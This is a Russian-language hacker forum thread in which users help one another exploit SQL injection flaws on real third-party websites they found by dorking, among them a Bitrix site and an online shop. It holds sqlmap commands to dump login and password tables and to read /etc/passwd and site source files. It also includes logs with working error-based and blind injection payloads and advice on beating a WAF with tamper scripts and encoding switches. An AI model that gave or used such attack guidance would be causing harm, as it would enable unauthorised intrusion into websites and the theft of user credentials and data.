разобрался с этим сайтом Теперь вопрос про другой сайт. Нашел дыру (на битриксе). Но не могу прочитать файлы, т.е. как обычно делаю --file-read='/etc/passwd', но выдает ошибку Похожа ошибка была на другом сайте, она появлялась тогда, когда файл отсутствовал по указанному пути Spoiler: Log Code: [17:30:10] [INFO] resuming back-end DBMS 'mysql' [17:30:10] [INFO] testing connection to the target URL [17:30:12] [CRITICAL] page not found (404) it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] n sqlmap resumed the following injection point(s) from stored session: --- Parameter: SECTION_ID (GET) Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: ID=1) OR (SELECT 9559 FROM(SELECT COUNT(*),CONCAT(0x7176717a71,(SELECT (ELT(9559=9559,1))),0x716b6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SAhe --- [17:30:14] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 [17:30:14] [INFO] fingerprinting the back-end DBMS operating system [17:30:14] [INFO] the back-end DBMS operating system is Linux [17:30:14] [INFO] fetching file: '/etc/passwd' [17:30:14] [INFO] resumed: [17:30:14] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form do you want confirmation that the remote file '/etc/passwd' has been successfully downloaded from the back-end DBMS file system? [Y/n] y [17:30:21] [INFO] retrieved: [17:30:21] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) files saved to [1]: [*] /root/.sqlmap/output/site/files/_etc_passwd (size differs from remote file) [17:30:21] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 1 times 404 (Not Found) - 1 times ошибка выдается, скорее всего, по причине того, что при открытии страницы с sql-inject он отдает json но с HTTP CODE = 404 Теперь остается узнать какой параметр добавить, чтобы не было Ладно /etc/passwd может быть закрыт, но файлы битрикса хоть какие-то уже должен прочитать. И в продолжении, в чем может быть причина, если это не отрабатывает Code: sqlmap -u site/inject.php?ID=1 -D database -T table_login -C LOGIN,PASSWORD --dump И выдает ошибку А вот это отрабатывает Spoiler: Log2 Code: [17:49:02] [INFO] resuming back-end DBMS 'mysql' [17:49:02] [INFO] testing connection to the target URL [17:49:04] [CRITICAL] page not found (404) it is not recommended to continue in this kind of cases. Do you want to quit and make sure that everything is set up properly? [Y/n] n sqlmap resumed the following injection point(s) from stored session: --- Parameter: SECTION_ID (GET) Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: ID=1) OR (SELECT 9559 FROM(SELECT COUNT(*),CONCAT(0x7176717a71,(SELECT (ELT(9559=9559,1))),0x716b6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- SAhe --- [17:49:06] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 [17:49:06] [INFO] fetching SQL SELECT statement query output: 'select login from table_login where id=1' [17:49:08] [INFO] used SQL query returns 1 entries [17:49:09] [INFO] retrieved: admin select login from table_login where id=1: 'admin' [17:49:09] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 1 times Кодировка db - utf8
Найдена уязвимость Code: Parameter: product_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: route=product/product&path=1&product_id=1 AND 7670=7670 Vector: AND [INFERENCE] При попытке получить список баз данных вываливает ошибку Spoiler: Log [03:50:18] [INFO] the back-end DBMS is MySQL web application technology: PHP 5.6.33, Nginx back-end DBMS: MySQL 5 (MariaDB fork) [03:50:18] [INFO] fetching database names [03:50:18] [INFO] fetching number of databases [03:50:18] [DEBUG] resuming configuration option 'string' (3D) [03:50:18] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [03:50:18] [PAYLOAD] 1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 sqlmap got a 301 redirect to 'http://site/index.php?route=product/product&path=1&product_id=1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))'. Do you want to follow? [Y/n] n [03:50:22] [WARNING] unexpected HTTP code '301' detected. Will use (extra) validation step in similar cases [03:50:22] [PAYLOAD] 1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>48 [03:50:23] [PAYLOAD] 1 AND ORD(MID((SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>9 [03:50:25] [INFO] retrieved: [03:50:25] [DEBUG] performed 3 queries in 7.29 seconds [03:50:25] [ERROR] unable to retrieve the number of databases [03:50:25] [INFO] falling back to current database [03:50:25] [INFO] fetching current database [03:50:25] [PAYLOAD] 1 AND ORD(MID((DATABASE()),1,1))>64 [03:50:27] [PAYLOAD] 1 AND ORD(MID((DATABASE()),1,1))>32 [03:50:28] [PAYLOAD] 1 AND ORD(MID((DATABASE()),1,1))>1 [03:50:30] [INFO] retrieved: [03:50:30] [DEBUG] performed 3 queries in 4.97 seconds [03:50:30] [CRITICAL] unable to retrieve the database names Как дальше раскрутить? Спасибо
1)нет прав 2)waf ответ 301 может или истекла сессия или поменялся ответ от сервера проверьте сайт не http может указывать нужно ,а https , после пробуйте --hex --no-cast ,тамперы и обход waf https://github.com/Ekultek/WhatWaf 3)поискать другую ошибку,где нет редиректа
Ты кажись насувал дахуя тамперов кстати количество вроде не решит для каждой защиты свои тамперы (но это не точно)
так я запустил по инструкции на гите, чтобы определило waf и указало какой тампер надо использовать. И спустя стольких редиректов получаю ошибку. Я тампер в sqlmap вообще не использовал, думал WhatWaf подскажет что использовать
Code: --tamper=greatest или --tamper=between или --tamper=least Попробуйте один из этих. Судя по логам проблема в символе >, возможно так же и в <!
--tamper=between помог, но как вы узнали по логам? как обучиться такому кунг-фу? обалдеть, сразу получил список баз
кстати, а скорость можно увеличить, помимо кол-ва потоков (--threads 10) и так максимально стоит. Уж очень долго получаю список таблиц. Боюсь данные буду получать несколько часов
простите за столь глупые вопросы в итоге найдено Code: Parameter: product_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: route=product/product&path=1&product_id=1 AND 9533=9533 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: route=product/product&path=1&product_id=1 OR SLEEP(10) Пытаюсь получить файл. Code: sqlmap -u "https://site/index.php?route=product/product&path=1&product_id=1" -p product_id --file-read='/var/www/site/robots.txt' --time-sec 10 --tamper=between Использую tamper=between Пробую прочитать через --file-read Spoiler: log [03:13:37] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [03:13:37] [INFO] retrieved: [03:13:45] [WARNING] reflective value(s) found and filtering out [03:13:47] [WARNING] time-based comparison requires larger statistical model, please wait........................ (done) [03:14:54] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions [03:15:30] [WARNING] turning off pre-connect mechanism because of connection time out(s) [03:16:32] [ERROR] invalid character detected. retrying.. [03:19:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex' [03:19:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site' Файл не сохраняется, если добавить --hex (--no-cast) Spoiler: log --hex [03:27:25] [INFO] retrieved: [03:27:31] [WARNING] reflective value(s) found and filtering out [03:27:52] [INFO] retrieved: [03:27:52] [WARNING] there was a problem decoding value ' ' from expected hexadecimal form do you want confirmation that the remote file '/var/www/site/robots.txt' has been successfully downloaded from the back-end DBMS file system? [Y/n] y [03:29:05] [INFO] retrieved: [03:29:05] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path) files saved to [1]: [*] /root/.sqlmap/output/site/files/_var_www_site_robots.txt (size differs from remote file) [03:29:05] [INFO] fetched data logged to text files under '/root/.sqlmap/output/site' и сохраняется пустой файл. Проблема в правах или что-то с преобразованием символом нужно шаманить? Есть ли вариант здесь раскрутить на чтение файлов?
False, даже не могу прочитать хэш пароля. /etc/passwd аналогично не читает. Запросы из бд отрабатывают, но вот бы исходники сайта еще просмотреть.
Здравствуйте. Сколько не сканировал сайты по доркам, (качество сайтов, определенно не лучшее) - никогда не попадалось is-dba=true, это нормально?
сайтов с нужными правами мало осталось https://dev.mysql.com/doc/refman/5.7/en/privileges-provided.html
Даже наличие прав, не всегда панацея, сейчас повсеместно включен secure-file-priv https://dev.mysql.com/doc/refman/5.7/en/server-options.html#option_mysqld_secure-file-priv
Нашел бажный скрипт , который стоит на нескольких сайтах . Sqlmap почти нормально читает через сиквел . Почти потому , что скрипт или сервер заменяет символ нижнего подчеркивания на запятую или дефис . При этом я могу читать имена баз , таблиц и чаще всего столбцы . Но не могу дампить . --hex вроде бы решает проблему , но данные все равно не дампятся . Tamper не помогает . Как я понял из ответов curl нижнее подчеркивание и все до него вырезается из имени таблицы при запросе . Таблица вида site_users в select запросе превращается в просто users . Но при этом всем мне удалось все же найти один сайт где с --hex нужные таблицы нормально читаются :\ Хочется понять откуда у этого растут ноги . Это сам скрипт творит , или фаер , или может модуль апача так извращается ? Ну и реально ли как-то заэкранировать нижнее подчеркивание в запросе .
надо чекнуть что фильтрует и обойти для начала) попробуй обычно если норм составишь запрос за раз --sql-query норм вывоит бывают такие заморочки от того что можно указывать части запроса отдельно в специальных переменных до просто обычных глюков скульмапчика с кучей запросов или банальная ошибка синтаксиса но если возможность вывести колонки в работе с вафом можно фазить все слова символы в разные кодировк смешаны с заменой в тампере зависит какая бд? и очень важно не стрессить себя и свою плату особенно с большим количеством блайнд запросов что бы там не сбилось нече --no-cast стукни чекну)